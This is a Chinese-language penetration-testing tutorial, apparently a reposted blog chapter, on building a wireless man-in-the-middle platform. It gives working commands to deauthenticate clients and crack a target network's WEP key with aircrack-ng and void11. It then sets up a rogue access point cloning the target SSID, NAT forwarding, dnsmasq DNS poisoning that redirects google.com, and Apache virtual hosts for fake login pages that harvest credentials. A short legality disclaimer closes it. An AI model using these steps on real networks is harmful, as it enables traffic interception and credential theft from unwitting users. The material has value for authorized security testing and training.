16、利用中间人攻击获取优势

利用中间人攻击获取优势

1. 中间人攻击概述

中间人(MITM)攻击允许攻击者在无线客户端不知情的情况下,拦截和修改无线通信流量。这种攻击的主要目标是在无线渗透测试期间获取用户账户凭证,常用于捕获基于Web应用的用户账户信息、明文传输的密码,以及嗅探和破解Windows密码哈希。

1.1 MITM攻击设计

一个基本的MITM攻击将无线客户端连接到攻击者的接入点,然后将流量转发到真实的(授权的)接入点。典型的MITM设计包含以下组件:
- 目标接入点(AP) :无线渗透测试的对象,许多组织会为员工部署多个接入点。
- 受害者(无线客户端) :最初连接到目标AP,在攻击期间会被断开并重新连接到攻击者设置的MITM AP。
- MITM攻击平台 :为原本连接到目标AP的无线客户端提供接入点功能,其配置与目标AP几乎相同,使客户端难以区分。

1.2 MITM攻击变量

要成功对无线网络进行MITM攻击,需要考虑以下变量:
- 目标AP的配置,特别是为防止未经授权访问而启用的安全功能。
- 在攻击开始前,需要完成以下任务:
- 定位一个或多个已连接无线客户端的AP。
- 识别目标接入点上启用的安全控制和加密方案。
- 绕过安全控制并连接到目标接入点。

graph LR
    classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
    classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
    classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;

    A([开始]):::startend --> B(定位AP):::process
    B --> C(识别安全控制):::process
    C --> D{能否绕过安全控制?}:::decision
    D -->|是| E(连接到目标AP):::process
    D -->|否| F(终止攻击):::process
    E --> G([结束]):::startend
    F --> G

2. 攻击所需硬件

成功执行MITM攻击需要多种硬件和一些关键软件程序。典型的MITM攻击平台使用以下硬件组件:
| 硬件组件 | 说明 |
| ---- | ---- |
| 笔记本电脑 | 具有两个PCMCIA插槽,或一个PCMCIA和一个mini - PCI插槽 |
| 两个无线网卡 | 一个用于提供接入点功能,需支持Host AP模式;另一个用于连接目标AP |
| 外部天线 | 建议使用全向天线 |
| 双向放大器(可选) | 用于增强信号 |
| 尾纤 | 连接外部天线、放大器和无线网卡 |
| 手持全球定位系统(GPS)单元(可选) | 帮助识别目标接入点的位置 |
| 电源逆变器 | 为设备供电 |

2.1 笔记本电脑

笔记本电脑作为目标AP的克隆,为目标无线网络提供连接,并运行Web服务器以托管攻击期间发现的任何伪造网站。因此,笔记本电脑应具备处理内存密集型任务的能力。

2.2 无线网卡

攻击平台需要两个无线网卡:
- 一个无线网卡为无线客户端(受害者)提供接入点功能,必须能够进入Host AP模式(也称为主模式)。
- 第二个无线网卡用于连接目标AP,可以是任何受Linux支持的802.11 B/G卡。

在示例中,使用一个PCMCIA无线网卡和一个mini - PCI无线网卡,均为SENAO/Engenius(Prism2.5芯片组)802.11 b 200mw卡,利用Intersil的站固件支持Host AP模式。PCMCIA无线网卡用于Host AP模式,因为它有两个外部MMCX天线连接器插槽,可连接到放大器和天线;mini - PCI卡有一个U.FL辅助天线连接器,只要与目标接入点有良好的无线信号,就不需要外部天线。连接目标接入点的无线网卡标记为wlan0(内部mini - PCI),提供接入点功能的无线网卡标记为wlan1。

2.3 选择合适的天线

选择合适的天线对于攻击的成功至关重要,主要有两种类型的天线可供考虑:
- 定向天线 :在一个方向上发送和接收无线信号,适用于已知无线设备确切位置的情况。但由于希望向尽可能多的客户端广播信号,定向天线不是一个好选择。不过,如果针对聚集在同一位置的特定无线客户端,定向天线是一个不错的选择。
- 全向天线 :在所有方向上发送和接收无线信号,由于可能不知道无线客户端的连接位置,建议使用全向天线。

2.4 放大无线信号

2.4 GHz放大器用于扩展2.4 GHz无线电设备或AP的范围,与天线配合使用,增强MITM接入点的信号,使其信号强于目标接入点的信号。典型的放大器有两个连接器,根据连接器类型,一个通过MMCX到N - Male尾纤连接到SENAO无线卡,另一个连接到全向天线。

2.5 其他有用的硬件

  • DC - AC电源逆变器 :为可能没有汽车电源的设备(如笔记本电脑或放大器)供电。
  • GPS接收器 :在攻击的识别阶段,可与Kismet和WarDriving映射程序(如GPSMap)结合使用,帮助识别目标接入点的位置。

3. 识别和攻破目标接入点

在发起MITM攻击之前,需要识别和攻破目标AP,建立连接至关重要,因此需要绕过接入点上启用的任何安全机制。

3.1 识别目标

使用WarDriving技术收集目标的初步数据,对目标区域进行初步扫描,目标是定位一个或多个已连接无线客户端的AP,并识别任何安全控制、加密和/或认证机制。使用Kismet和全向天线,定位到一个连接了无线客户端的目标AP,信息如下:
- 目标网络服务集标识符(SSID):VisitorLAN
- 目标网络基本服务集标识符(BSSID):00:13:10:1E:65:42
- 已连接的无线客户端:00:02:2D:2D:82:36
- 目标网络加密:WEP
- 目标网络IP范围:192.168.1.0/24

3.2 攻破目标

利用WarDriving收集的信息来攻破目标接入点的WEP密钥。要破解WEP密钥,需要知道接入点的BSSID和已连接无线客户端的媒体访问控制(MAC)地址。使用Aircrack - ng工具,可以开始对VisitorLAN接入点的攻击。
- 启动airodump - ng收集WEP初始化向量(IVs)并保存到输出文件:

airodump-ng -w visitorlan -c 6 wlan0
  • 打开一个新终端,启动aireplay - ng:
aireplay-ng --arpreplay -b 00:13:10:1E:65:42 -m 68 -n 68 -d ff:ff:ff:ff:ff:ff -h 00:02:2D:2D:82:36 wlan0
  • 使用void11断开无线客户端的连接:
void11_penetration -DD -s 00:11:50:C9:43:B6 -B 00:13:10:1E:65:42 -m 50 wlan1
  • 使用aircrack - ng尝试破解WEP密钥:
aircrack-ng visitorlan-01.cap

完成上述步骤后,就可以获得连接目标接入点并开始MITM攻击所需的所有信息。

4. MITM攻击笔记本电脑配置

接下来将介绍如何使用Gentoo Linux安装和配置MITM攻击所需的关键工具,大部分为标准Linux命令,适用于大多数流行的Linux发行版。

4.1 内核配置

Linux内核是操作系统的核心,需要对其进行配置以支持IP过滤、网络地址转换(NAT),并启用Host AP内核驱动,使两块无线网卡正常工作。
- 获取内核源代码 :可以从http://www.kernel.org直接获取,也可以使用Linux发行版的包管理工具(在Gentoo系统中,使用 emerge -a gentoo-sources 命令)。这里使用Linux内核2.6.17.4版本。
- 配置和编译内核 :下载并解压内核源代码后,在 /usr/src/linux 目录下执行 make menuconfig 命令,在配置菜单中选择支持笔记本电脑硬件的驱动模块。
- 添加Host AP驱动到内核 :完成一般内核配置后,需要添加Host AP驱动。Host AP是基于Intersil的Prism2、Prism2.5或Prism3芯片组的无线网卡的Linux驱动,提供802.11b接入点功能。驱动位于“Device Drivers” -> “Network Device Support” -> “Wireless LAN (Non - ham Radio)” -> “Wireless LAN Drivers (Non - hamradio)” -> “Wireless Extensions”。由于使用的是SENAO PCMCIA卡和SENAO mini - PCI卡(Prism2.5),选择相应的内核模块。
- 添加Iptables支持到内核 :启用Host AP驱动后,需要添加对Iptables的支持,它提供IP过滤和NAT功能。相关内核选项位于“Networking” -> “Networking Options” -> “Network Packet Filtering (replaces ipchains)” -> “Core Netfilter Configuration”。选择“Netfilter Xtables Support”选项(ip_tables所需),并导航到“IP: Netfilter Configuration”菜单,选择“IP Tables Support”(过滤、MASQUERADE和NAT所需)、“Full NAT”和“MASQUERADE target support”选项。
配置完成后,保存新的内核选择,执行 make make modules_install 命令,然后将新内核复制到引导位置。在Gentoo中,可以通过以下命令使新创建的Host AP内核模块在启动时加载:

echo hostap >> /etc/modules.autoload.d/kernel-2.6
echo hostap_cs >> /etc/modules.autoload.d/kernel-2.6
echo hostap_pci >> /etc/modules.autoload.d/kernel-2.6

如果不想在启动时加载这些模块,可以在需要时手动插入内核驱动模块:

modprobe hostap
modprobe hostap_cs
modprobe hostap_pci

4.2 设置无线接口

安装无线网卡驱动后,需要配置无线接口以提供适当的连接。
- wlan0 - 连接到目标网络 :wlan0是内部mini - PCI卡,用于连接目标无线网络。使用以下命令设置无线连接:

ifconfig wlan0 down
iwconfig wlan0 mode Managed ap 00:13:10:1E:65:42
iwconfig wlan0 key 6D617474686577303232333036
ifconfig wlan0 up
dhcpcd wlan0
  • wlan1 - 设置接入点 :wlan1是PCMCIA SENAO卡,用作Host AP接入点。使用以下命令将wlan1接口配置为接入点:
ifconfig wlan1 down
iwconfig wlan1 mode Master essid VisitorLAN
iwconfig wlan1 key 6D617474686577303232333036
ifconfig wlan1 192.168.10.1 netmask 255.255.255.0
ifconfig wlan1 up

在Gentoo中,可以将无线网卡配置添加到 /etc/config.d/wireless 文件中,并创建 init.d 网络接口,通过相应命令启动、停止或重启接口。

4.3 IP转发和NAT使用Iptables

安装和配置两个无线网卡接口后,需要启用IP转发和NAT,创建一个无线路由器/网关。
- 安装Iptables和IP转发 :Iptables是用于配置数据包过滤规则集和NAT的命令行程序。在Gentoo系统中,使用 emerge -a net - firewall/iptables 命令安装Iptables,安装完成后,使用 /etc/init.d/iptables start 命令启动服务。通过编辑 /etc/sysctl.conf 文件,将 net.ipv4.ip_forward 变量从0更改为1以启用IP转发。
- 建立NAT规则 :安装Iptables并启用IP转发后,需要建立规则。使用以下命令定义NAT规则:

iptables -F
iptables -t nat -F
iptables -A FORWARD -i wlan0 -s 192.168.1.0/255.255.255.0 -j ACCEPT
iptables -A FORWARD -i wlan1 -s 192.168.10.0/255.255.255.0 -j ACCEPT
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

定义规则后,使用 /etc/init.d/iptables save 命令保存规则,使其在启动时启用。

4.4 Dnsmasq

Dnsmasq是一个轻量级、易于配置的域名系统(DNS)转发器和动态主机配置协议(DHCP)服务器,在攻击平台上有两个重要功能:为连接到接入点的无线客户端提供IP地址,以及监控和毒害DNS查询。
- 安装Dnsmasq :可以使用Linux发行版的包管理工具或从源代码下载安装。在Gentoo系统中,使用 emerge -a net - dns/dnsmasq 命令安装,安装完成后,使用 /etc/init.d/dnsmasq start 命令启动服务。
- 配置Dnsmasq :编辑 /etc/dnsmasq.conf 文件进行配置,关键配置选项如下:

interface=wlan1
address=/www.google.com/192.168.10.10
dhcp-range=192.168.10.100,192.168.10.200,255.255.255.0,24h
log-queries

配置完成后,使用 /etc/init.d/dnsmasq start 命令启动Dnsmasq。DHCP和DNS请求记录在 /var/log/messages 文件中,可以使用 grep dnsmasq /var/log/messages | grep –i dhcp 命令监控传入的DHCP请求。

4.5 Apache Hypertext Preprocessor和虚拟Web服务器

Apache是一个多功能、可配置的Web服务器,PHP是一种可嵌入HTML代码的Web开发脚本语言。可以使用它们创建伪造的登录页面来捕获用户凭证。
- 安装和启动Apache和PHP :可以使用Linux发行版的包管理工具或从源代码下载安装。安装完成后,使用 /etc/init.d/apache2 start 命令启动Apache。
- 创建虚拟Web目录 :为了在Web服务器上托管多个网站,可以在 /etc/apache2/vhosts.d/00_default_vhost.conf 文件中创建虚拟Web目录,示例如下:

<VirtualHost 192.168.10.2:80>
    DocumentRoot "/var/www/localhost/htdocs/site1/"
</VirtualHost>
<VirtualHost 192.168.10.3:80>
    DocumentRoot "/var/www/localhost/htdocs/site2/"
</VirtualHost>
<VirtualHost 192.168.10.4:80>
    DocumentRoot "/var/www/localhost/htdocs/site3/"
</VirtualHost>

为每个IP地址定义虚拟接口:

ifconfig wlan1:0 192.168.10.2 netmask 255.255.255.0
ifconfig wlan1:1 192.168.10.3 netmask 255.255.255.0
ifconfig wlan1:2 192.168.10.4 netmask 255.255.255.0

创建相应的文档根目录后,就可以将无线客户端重定向到虚拟Web服务器。

总结

通过以上步骤,完成了MITM攻击所需的硬件准备、目标接入点的识别和攻破,以及攻击笔记本电脑的配置。以下是整个过程的流程图:

graph LR
    classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
    classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
    classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;

    A([开始]):::startend --> B(硬件准备):::process
    B --> C(识别目标AP):::process
    C --> D(攻破目标AP):::process
    D --> E(配置内核):::process
    E --> F(设置无线接口):::process
    F --> G(启用IP转发和NAT):::process
    G --> H(配置Dnsmasq):::process
    H --> I(配置Apache和虚拟Web服务器):::process
    I --> J([完成配置]):::startend

通过这些配置和操作,可以利用MITM攻击获取用户的敏感信息,但需要注意的是,在未经授权的情况下进行此类攻击是违法的行为,仅可在合法的安全测试环境中使用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值